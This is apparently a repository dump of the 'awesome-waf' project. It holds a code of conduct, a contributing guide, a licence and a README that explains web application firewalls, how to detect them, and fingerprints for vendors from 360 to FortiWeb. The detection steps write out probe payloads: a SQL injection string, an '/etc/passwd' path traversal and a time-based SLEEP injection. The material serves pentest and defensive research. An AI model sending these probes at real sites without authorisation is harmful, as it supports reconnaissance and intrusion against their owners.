[ { "path": "CODE_OF_CONDUCT.md", "content": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as\ncontributors and maintainers pledge to making participation in our project and\nour community a harassment-free experience for everyone, regardless of age, body\nsize, disability, ethnicity, sex characteristics, gender identity and expression,\nlevel of experience, education, socio-economic status, nationality, personal\nappearance, race, religion, or sexual identity and orientation.\n\n## Our Standards\n\nExamples of behavior that contributes to creating a positive environment\ninclude:\n\n* Using welcoming and inclusive language\n* Being respectful of differing viewpoints and experiences\n* Gracefully accepting constructive criticism\n* Focusing on what is best for the community\n* Showing empathy towards other community members\n\nExamples of unacceptable behavior by participants include:\n\n* The use of sexualized language or imagery and unwelcome sexual attention or\n advances\n* Trolling, insulting/derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or electronic\n address, without explicit permission\n* Other conduct which could reasonably be considered inappropriate in a\n professional setting\n\n## Our Responsibilities\n\nProject maintainers are responsible for clarifying the standards of acceptable\nbehavior and are expected to take appropriate and fair corrective action in\nresponse to any instances of unacceptable behavior.\n\nProject maintainers have the right and responsibility to remove, edit, or\nreject comments, commits, code, wiki edits, issues, and other contributions\nthat are not aligned to this Code of Conduct, or to ban temporarily or\npermanently any contributor for other behaviors that they deem inappropriate,\nthreatening, offensive, or harmful.\n\n## Scope\n\nThis Code of Conduct applies both within project spaces and in public spaces\nwhen an individual is representing the project or its community. Examples of\nrepresenting a project or community include using an official project e-mail\naddress, posting via an official social media account, or acting as an appointed\nrepresentative at an online or offline event. Representation of a project may be\nfurther defined and clarified by project maintainers.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported by contacting the project team at theinfecteddrake@gmail.com. All\ncomplaints will be reviewed and investigated and will result in a response that\nis deemed necessary and appropriate to the circumstances. The project team is\nobligated to maintain confidentiality with regard to the reporter of an incident.\nFurther details of specific enforcement policies may be posted separately.\n\nProject maintainers who do not follow or enforce the Code of Conduct in good\nfaith may face temporary or permanent repercussions as determined by other\nmembers of the project's leadership.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,\navailable at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html\n\n[homepage]: https://www.contributor-covenant.org\n\nFor answers to common questions about this code of conduct, see\nhttps://www.contributor-covenant.org/faq\n" }, { "path": "CONTRIBUTING.md", "content": "I appreciate and recognize [all contributors](https://github.com/0xInfection/awesome-waf/graphs/contributors).\n\n> First of all thank you for even considering of contributing to this awesome list. __\"The community just learns from each other\"__.\n\n## Table of Contents\n\n- [Contribution guidelines](#contribution-guidelines)\n- [Quality Standard](#quality-standard)\n- [Adding to this list](#adding-to-this-list)\n- [Adding something to an awesome list](#adding-something-to-an-awesome-list)\n- [Updating your Pull Request](#updating-your-pull-request)\n\n## Contribution Guidelines\n\n__Your pull request/commit message will be a tweet, please keep that in mind.__ :)\n\n- **To add to the list:** Submit a pull request.\n- **To remove from the list:** Submit a pull request.\n- Want to change something: Submit a pull request.\n- Want to try something else: Submit a pull request.\n- Don't know what to do: Submit a pull request or open an issue, let me know what's going on.\n\n[Awesome-WAF](https://github.com/0xinfection/awesome-waf) is a hand-crafted list for high-quality information about web application firewalls and its resources. Following items are recommended to be kept in mind.\n\n- If you are submitting a new fingerprint, include the headers/page source, etc.\n- Do not include the URL as it may expose the integrity of the site.\n> I will contact you personally if necessary via email.\n- Item you're adding should not be duplicate, no redirection (be careful with `http` vs `https`!).\n- The link should be the name of the slide or project or website.\n- Description should be clear and concise (read it out loud to be sure).\n- Description should follow the link, on the same line.\n- if you want to add more than one link, please don't do all PR on the exact same line, it usually results in conflicts and your PR cannot be automatically merged.\n\nPlease contribute links to slides/tools you have used or are familiar with. This will help ensure high-quality entries.\n\n## Quality Standard\n\nNote that we can help you achieve those standards, just try your best, be brave.\nWe'll guide you to the best of our abilities.\n\nTo be on the list, it would be *nice* if entries adhere to these quality standards:\n\n- Generally useful to the community.\n- Clearly stating \"what is it for\": mention the problem it solves. Just try your best, make it clear for the next person.\n- Solves a real problem (even a small one)\n- If your PR is a **WIP** (work in progress, not safe for production), mention it.\n\nIf your PR is not merged, I will tell you why so that you may be able to improve it.\n\n## Contribution Guidelines\n\n### Adding to this List\n\nPlease ensure your pull request adheres to the following guidelines:\n\n- Search previous suggestions before making a new one, as yours may be a duplicate.\n- Make sure the list is useful before submitting. That implies it has enough content and every item has a good succinct description.\n- Make an individual pull request for each suggestion.\n- Use [title-casing](http://titlecapitalization.com) (AP style).\n- Use the following format: `[List Name](link)`\n- Link additions should be added to the bottom of the relevant category.\n- New categories or improvements to the existing categorization are welcome.\n- Check your spelling and grammar.\n- Make sure your text editor is set to remove trailing whitespace.\n- The pull request and commit should have a useful title.\n- The body of your commit message should contain a link to the repository.\n\nThank you for your contributions!\n\n### Adding something to an Awesome List\n\nIf you have something awesome to contribute to an awesome list, this is how you do it.\n\nYou'll need a [GitHub account](https://github.com/join)!\n\n1. Access the awesome list's GitHub page. For example: https://github.com/sindresorhus/awesome\n2. Click on the `readme.md` file: \n\n![Step 2 Click on Readme.md](https://cloud.githubusercontent.com/assets/170270/9402920/53a7e3ea-480c-11e5-9d81-aecf64be55eb.png)\n\n3. Now click on the edit icon. \n\n![Step 3 - Click on Edit](https://cloud.githubusercontent.com/assets/170270/9402927/6506af22-480c-11e5-8c18-7ea823530099.png)\n\n4. You can start editing the text of the file in the in-browser editor. Make sure you follow guidelines above. You can use [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown/). \n\n![Step 4 - Edit the file](https://cloud.githubusercontent.com/assets/170270/9402932/7301c3a0-480c-11e5-81f5-7e343b71674f.png)\n\n5. Say why you're proposing the changes, and then click on \"Propose file change\". \n\n![Step 5 - Propose Changes](https://cloud.githubusercontent.com/assets/170270/9402937/7dd0652a-480c-11e5-9138-bd14244593d5.png)\n\n6. Submit the [pull request](https://help.github.com/articles/using-pull-requests/)!\n\n### Updating your Pull Request\n\nSometimes, a maintainer of an awesome list will ask you to edit your Pull Request before it is included. This is normally due to spelling errors or because your PR didn't match the awesome-* list guidelines.\n\n[Here](https://github.com/RichardLitt/knowledge/blob/master/github/amending-a-commit-guide.md) is a write up on how to change a Pull Request, and the different ways you can do that." }, { "path": "LICENSE", "content": " Apache License\n Version 2.0, January 2004\n http://www.apache.org/licenses/\n\n TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n 1. Definitions.\n\n \"License\" shall mean the terms and conditions for use, reproduction,\n and distribution as defined by Sections 1 through 9 of this document.\n\n \"Licensor\" shall mean the copyright owner or entity authorized by\n the copyright owner that is granting the License.\n\n \"Legal Entity\" shall mean the union of the acting entity and all\n other entities that control, are controlled by, or are under common\n control with that entity. For the purposes of this definition,\n \"control\" means (i) the power, direct or indirect, to cause the\n direction or management of such entity, whether by contract or\n otherwise, or (ii) ownership of fifty percent (50%) or more of the\n outstanding shares, or (iii) beneficial ownership of such entity.\n\n \"You\" (or \"Your\") shall mean an individual or Legal Entity\n exercising permissions granted by this License.\n\n \"Source\" form shall mean the preferred form for making modifications,\n including but not limited to software source code, documentation\n source, and configuration files.\n\n \"Object\" form shall mean any form resulting from mechanical\n transformation or translation of a Source form, including but\n not limited to compiled object code, generated documentation,\n and conversions to other media types.\n\n \"Work\" shall mean the work of authorship, whether in Source or\n Object form, made available under the License, as indicated by a\n copyright notice that is included in or attached to the work\n (an example is provided in the Appendix below).\n\n \"Derivative Works\" shall mean any work, whether in Source or Object\n form, that is based on (or derived from) the Work and for which the\n editorial revisions, annotations, elaborations, or other modifications\n represent, as a whole, an original work of authorship. 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However, in accepting such obligations, You may act only\n on Your own behalf and on Your sole responsibility, not on behalf\n of any other Contributor, and only if You agree to indemnify,\n defend, and hold each Contributor harmless for any liability\n incurred by, or claims asserted against, such Contributor by reason\n of your accepting any such warranty or additional liability.\n\n END OF TERMS AND CONDITIONS\n\n APPENDIX: How to apply the Apache License to your work.\n\n To apply the Apache License to your work, attach the following\n boilerplate notice, with the fields enclosed by brackets \"{}\"\n replaced with your own identifying information. (Don't include\n the brackets!) The text should be enclosed in the appropriate\n comment syntax for the file format. We also recommend that a\n file or class name and description of purpose be included on the\n same \"printed page\" as the copyright notice for easier\n identification within third-party archives.\n\n Copyright {yyyy} {name of copyright owner}\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n" }, { "path": "README.md", "content": "# Awesome WAF [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg \"Awesome\")](https://github.com/0xinfection/awesome-waf)\nEverything about web application firewalls (WAFs) from a security perspective. 🔥\n>\n> __Foreword:__ This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there.As the saying goes, \"the community just learns from each other.\"\n\n![Main Logo](images/how-wafs-work.png 'How wafs work')\n\n__A Concise Definition:__ A firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. *(Source: [PCI DSS IS 6.6](https://www.pcisecuritystandards.org/documents/information_supplement_6.6.pdf))*\n\nA web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it.\n\nFeel free to [contribute](CONTRIBUTING.md).\n\n### Contents:\n- [Introduction](#introduction)\n - [How WAFs Work](#how-wafs-work)\n - [Operation Modes](#operation-modes)\n- [Testing Methodology](#testing-methodology)\n - [Where To Look](#where-to-look)\n - [Detection Techniques](#detection-techniques)\n- [WAF Fingerprints](#waf-fingerprints)\n- [Evasion Techniques](#evasion-techniques)\n - [Fuzzing/Bruteforcing](#fuzzingbruteforcing)\n - [Regex Reversing](#regex-reversing)\n - [Obfuscation/Encoding](#obfuscation)\n - [Browser Bugs](#browser-bugs)\n - [HTTP Header Spoofing](#request-header-spoofing)\n - [Google Dorks Approach](#google-dorks-approach)\n- [Known Bypasses](#known-bypasses)\n- [Awesome Tooling](#awesome-tools)\n - [Fingerprinting](#fingerprinting)\n - [Testing](#testing)\n - [Evasion](#evasion)\n- [Blogs & Writeups](#blogs-and-writeups)\n- [Video Presentations](#video-presentations)\n- [Research Presentations & Papers](#presentations--research-papers)\n - [Research Papers](#research-papers)\n - [Presentation Slides](#presentations)\n- [Licensing & Credits](#credits--license)\n\n## Introduction:\n### How WAFs Work:\n- Using a set of rules to distinguish between normal requests and malicious requests.\n- Sometimes they use a learning mode to add rules automatically through learning about user behaviour.\n\n### Operation Modes:\n- __Negative Model (Blacklist based)__ - A blacklisting model uses pre-set signatures to block requests that are clearly malicious. The signatures of WAFs operating in a negative model are specifically crafted to prevent attacks which exploit certain web application vulnerabilities. Blacklisting model web application firewalls are a great choice for web applications exposed to the public internet and are highly effective against major vulnerabilities. Eg. Rule for blocking all `` inputs prevent basic cross-site scripting attacks.\n- __Positive Model (Whitelist based)__ - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking potential large scale attacks, but will also block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.\n- __Mixed/Hybrid Model (Inclusive model)__ - A hybrid security model blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. A good scenario can be when web-application is facing the public internet (use blacklists) while the admin panel needs to be exposed to only a subset of users (use whitelists).\n\n## Testing Methodology:\n### Where To Look:\n- Always look out for common ports that expose that a WAF, namely `80`, `443`, `8000`, `8080` and `8888` ports. However, its important to note that a WAF can be easily deployed on any port running a HTTP service. It is good to enumerate HTTP service ports first hand and then look for WAFs.\n- Some WAFs set their own cookies in requests (e.g. Citrix Netscaler, Yunsuo WAF).\n- Some associate themselves with separate headers (e.g. Anquanbao WAF, Amazon AWS WAF). \n- Some often alter headers and jumble characters to confuse attacker (e.g. Netscaler, Big-IP).\n- Some expose themselves in the `Server` header (e.g. Approach, WTS WAF).\n- Some WAFs expose themselves in the response content (e.g. DotDefender, Armor, Sitelock).\n- Other WAFs reply with unusual response codes upon malicious requests (e.g. WebKnight, 360 WAF).\n\n### Detection Techniques:\nTo identify WAFs, we need to (dummy) provoke it.\n1. Make a normal GET request from a browser, intercept and record response headers (specifically cookies).\n2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).\n3. Make GET requests to random open ports and grab banners which might expose the WAFs identity.\n4. On login pages, inject common (easily detectable) payloads like `\" or 1 = 1 --`.\n5. Inject noisy payloads like `` into search bars, contact forms and other input fields.\n6. Attach a dummy `../../../etc/passwd` to a random parameter at end of URL.\n7. Append some catchy keywords like `' OR SLEEP(5) OR '` at end of URLs to any random parameter.\n8. Make GET requests with outdated protocols like `HTTP/0.9` (`HTTP/0.9` does not support POST type queries).\n9. Many a times, the WAF varies the `Server` header upon different types of interactions.\n10. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.\n > __Tip:__ This method could be easily achieved with tools like [HPing3](http://www.hping.org) or [Scapy](https://scapy.net).\n11. Side Channel Attacks - Examine the timing behaviour of the request and response content.\n > __Tip:__ More details can be found in a [blogpost here](https://0xinfection.github.io/posts/fingerprinting-wafs-side-channel/).\n\n## WAF Fingerprints\nWanna fingerprint WAFs? Lets see how.\n> __NOTE__: This section contains manual WAF detection techniques. You might want to switch over to [next section](#evasion-techniques). \n\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
WAFFingerprints
\n 360\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Returns status code 493 upon unusual requests.
      • \n
    • Blockpage may contain reference to wzws-waf-cgi/ directory.
      • \n
    • Blocked response page source may contain:\n
        \n
      • Reference to wangshan.360.cn URL.
        • \n
      • Sorry! Your access has been intercepted because your links may threaten website security. text snippet.
        • \n
      \n
    • Response headers may contain X-Powered-By-360WZB header.
      • \n
    • Blocked response headers contain unique header WZWS-Ray.
      • \n
    • Server header may contain value qianxin-waf.
      • \n
    \n
\n
\n aeSecure\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response content contains aesecure_denied.png image (view source to see).
      • \n
    • Response headers contain aeSecure-code value.
      • \n
    \n
\n
\n Airlock\n \n
    \n
  • Detectability: Moderate/Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Set-Cookie headers may contain:
      • \n
        \n
      • AL-SESS cookie field name (case insensitive).
        • \n
      • AL-LB value (case insensitive).
        • \n
      \n
    • Blocked response page contains:
      • \n
        \n
      • Server detected a syntax error in your request text.
        • \n
      • Check your request and all parameters text snippet.
        • \n
      \n
    \n
\n
\n AlertLogic\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains:
      • \n
        \n
      • We are sorry, but the page you are looking for cannot be found text snippet.
        • \n
      • The page has either been removed, renamed or temporarily unavailable text.
        • \n
      • 404 Not Found in red letters.
        • \n
      \n
    \n
\n
\n Aliyundun\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains:
      • \n
        \n
      • Sorry, your request has been blocked as it may cause potential threats to the server's security text snippet.
        • \n
      • Reference to errors.aliyun.com site URL.
        • \n
      \n
    • Blocked response code returned is 405.
      • \n
    \n
\n
\n Anquanbao\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Returns blocked HTTP response code 405 upon malicious requests.
      • \n
    • Blocked response content may contain /aqb_cc/error/ or hidden_intercept_time.
      • \n
    • Response headers contain X-Powered-by-Anquanbao header field.
      • \n
    \n
\n
\n Anyu\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response content contains Sorry! your access has been intercepted by AnYu
      • \n
    • Blocked response page contains AnYu- the green channel text.
      • \n
    • Response headers may contain unusual header WZWS-RAY.
      • \n
    \n
\n
\n Approach\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page content may contain:
      • \n
        \n
      • Approach Web Application Firewall Framework heading.
        • \n
      • Your IP address has been logged and this information could be used by authorities to track you. warning.
        • \n
      • Sorry for the inconvenience! keyword.
        • \n
      • Approach infrastructure team text snippet.
        • \n
      \n
    • Server header has field value set to Approach.
      • \n
    \n
\n
\n Armor Defense\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response content contains:\n
        \n
      • This request has been blocked by website protection from Armor text.
        • \n
      • If you manage this domain please create an Armor support ticket snippet.
        • \n
      \n
      • \n
    \n
\n
\n ArvanCloud\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains ArvanCloud keyword.
      • \n
    \n
\n
\n ASPA\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains ASPA-WAF keyword.
      • \n
    • Response contain unique header ASPA-Cache-Status with content HIT or MISS.
      • \n
    \n
\n
\n ASP.NET Generic\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers may contain X-ASPNET-Version header value.
      • \n
    • Blocked response page content may contain:
      • \n
        \n
      • This generic 403 error means that the authenticated user is not authorized to use the requested resource.
        • \n
      • Error Code 0x00000000< keyword.
        • \n
      \n
    • X-Powered-By header has field value set to ASP.NET.
      • \n
    \n
\n
\n Astra\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page content may contain:
      • \n
        \n
      • Sorry, this is not allowed. in h1.
        • \n
      • our website protection system has detected an issue with your IP address and wont let you proceed any further text snippet.
        • \n
      • Reference to www.getastra.com/assets/images/ URL.
        • \n
      \n
    • Response cookies has field value cz_astra_csrf_cookie in response headers.
      • \n
    \n
\n
\n AWS ELB\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers might contain:\n
        \n
      • AWSALB cookie field value.
        • \n
      • X-AMZ-ID header.
        • \n
      • X-AMZ-REQUEST-ID header.
        • \n
      \n
      • \n
    • Response page may contain:\n
        \n
      • Access Denied in their keyword.
        • \n
      • Request token ID with length from 20 to 25 between RequestId tag.
        • \n
      \n
      • \n
    • Server header field contains awselb/2.0 value.
      • \n
    \n
\n
\n Baidu Yunjiasu\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header may contain Yunjiasu-nginx value.
      • \n
    • Server header may contain Yunjiasu value.\n
    \n
\n
\n Barikode\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page content contains:\n
        \n
      • BARIKODE keyword.
        • \n
      • Forbidden Access text snippet in h1.
        • \n
      \n
      • \n
    \n
\n
\n Barracuda\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response cookies may contain barra_counter_session value.
      • \n
    • Response headers may contain barracuda_ keyword.
      • \n
    \n
  • Response page contains:
    • \n
      \n
    • You have been blocked heading.
      • \n
    • You are unable to access this website text.
      • \n
    \n
\n
\n Bekchy\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response headers contains Bekchy - Access Denied.
      • \n
    • Blocked response page contains reference to https://bekchy.com/report.
      • \n
    \n
\n
\n BinarySec\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain:
      • \n
        \n
      • X-BinarySec-Via field.
        • \n
      • X-BinarySec-NoCache field.
        • \n
      • Server header contains BinarySec keyword.
        • \n
      \n
    \n
\n
\n BitNinja\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page may contain:
      • \n
        \n
      • Security check by BitNinja text snippet.
        • \n
      • your IP will be removed from BitNinja.
        • \n
      • Visitor anti-robot validation text snippet.
        • \n
      • (You will be challenged by a reCAPTCHA page) text.
        • \n
      \n
    \n
\n
\n BIG-IP ASM\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers may contain BigIP or F5 keyword value.
      • \n
    • Response header fields may contain X-WA-Info header.
      • \n
    • Response headers might have jumbled X-Cnection field value.
      • \n
    \n
\n
\n BlockDos\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains value BlockDos.net.
      • \n
    \n
\n
\n Bluedon IST\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains BDWAF field value.
      • \n
    • Blocked response page contains to Bluedon Web Application Firewall text snippet..
      • \n
    \n
\n
\n BulletProof Security Pro\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains:\n
        \n
      • div with id as bpsMessage text snippet.
        • \n
      • If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page. text snippet.
        • \n
      \n
    \n
\n
\n CDN NS Application Gateway\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains CdnNsWAF Application Gateway text snippet.
      • \n
    \n
\n
\n Cerber (WordPress)\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains:\n
        \n
      • We're sorry, you are not allowed to proceed text snippet.
        • \n
      • Your request looks suspicious or similar to automated requests from spam posting software warning.
        • \n
      \n
    \n
\n
\n Chaitin Safeline\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains event_id keyword within HTML comments.
      • \n
    \n
\n
\n ChinaCache\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain Powered-by-ChinaCache field.
      • \n
    \n
\n
\n Cisco ACE XML Gateway\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header has value ACE XML Gateway set.
      • \n
    \n
\n
\n Cloudbric\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response content contains:
      • \n
        \n
      • Malicious Code Detected heading.
        • \n
      • Your request was blocked by Cloudbric text snippet.
        • \n
      • Reference to https://cloudbric.zendesk.com URL.\n
      • Cloudbric Help Center text.
        • \n
      • Page title starting with Cloudbric | ERROR!.
        • \n
      \n
    \n
\n
\n Cloudflare \n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers might have cf-ray field value.
      • \n
    • Server header field has value cloudflare.
      • \n
    • Set-Cookie response headers have __cfuid= cookie field.
      • \n
    • Page content might have Attention Required! or Cloudflare Ray ID:.
      • \n
    • Page content may contain DDoS protection by Cloudflareas text.
      • \n
    • You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.
      • \n
    \n
\n
\n CloudfloorDNS\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header field has value CloudfloorDNS WAF.
      • \n
    • Block-page title might have CloudfloorDNS - Web Application Firewall Error.
      • \n
    • Page content may contain www.cloudfloordns.com/contact URL as a contact link.
      • \n
    \n
\n
\n Cloudfront\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response content contains Generated by cloudfront (CloudFront) error upon malicious request.
      • \n
    \n
\n
\n Comodo cWatch\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains Protected by COMODO WAF value.
      • \n
    \n
\n
\n CrawlProtect\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response cookies might contain crawlprotect cookie name.
      • \n
    • Block Page title has CrawlProtect keyword in it.
      • \n
    • Blocked response content contains value
      This site is protected by CrawlProtect !!! upon malicious request.
      • \n
    \n
\n
\n Deny-All\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response content contains value Condition Intercepted.
      • \n
    • Set-Cookie header contains cookie field sessioncookie.
      • \n
    \n
\n
\n Distil Web Protection\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain field value X-Distil-CS in all requests.
      • \n
    • Blocked response page contains:
      • \n
        \n
      • Pardon Our Interruption... heading.
        • \n
      • You have disabled javascript in your browser. text snippet.
        • \n
      • Something about your browser made us think that you are a bot. text.
        • \n
      \n
    \n
\n
\n DoSArrest Internet Security\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain field value X-DIS-Request-ID.
      • \n
    • Server header contains DOSarrest keyword.
      • \n
    \n
\n
\n DotDefender\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response content contains value
      dotDefender Blocked Your Request.
      • \n
    • Blocked response headers contain X-dotDefender-denied field value.
      • \n
    \n
\n
\n DynamicWeb Injection Check\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response headers contain X-403-Status-By field with value dw-inj-check value.
      • \n
    \n
\n
\n e3Learning Security\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains e3Learning_WAF keyword.
      • \n
    \n
\n
\n EdgeCast (Verizon)\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response content contains value
      Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
      • \n
    • Blocked response code returns 400 Bad Request on malicious requests.
      • \n
    \n
\n
\n Eisoo Cloud\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page content may contain:
      • \n
        \n
      • /eisoo-firewall-block.css reference.
        • \n
      • www.eisoo.com URL.
        • \n
      • © (year) Eisoo Inc. keyword.
        • \n
      \n
    • Server header has field value set to EisooWAF-AZURE/EisooWAF.
      • \n
    \n
\n
\n Expression Engine\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page returns Invalid URI generally.
      • \n
    • Blocked response content contains value Invalid GET Request upon malicious GET queries.
      • \n
    • Blocked POST type queries contain Invalid Data in response content.
      • \n
    \n
\n
\n F5 ASM\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response content contains warning
      \n The requested URL was rejected. Please consult with your administrator.\n
      • \n
    \n
\n
\n FortiWeb\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain FORTIWAFSID= on malicious requests.
      • \n
    • Blocked response page contains:
      • \n
        \n
      • Reference to .fgd_icon image icon.
        • \n
      • Server Unavailable! as heading.
        • \n
      • Server unavailable. Please visit later. as text.
        • \n
      \n
    \n
\n
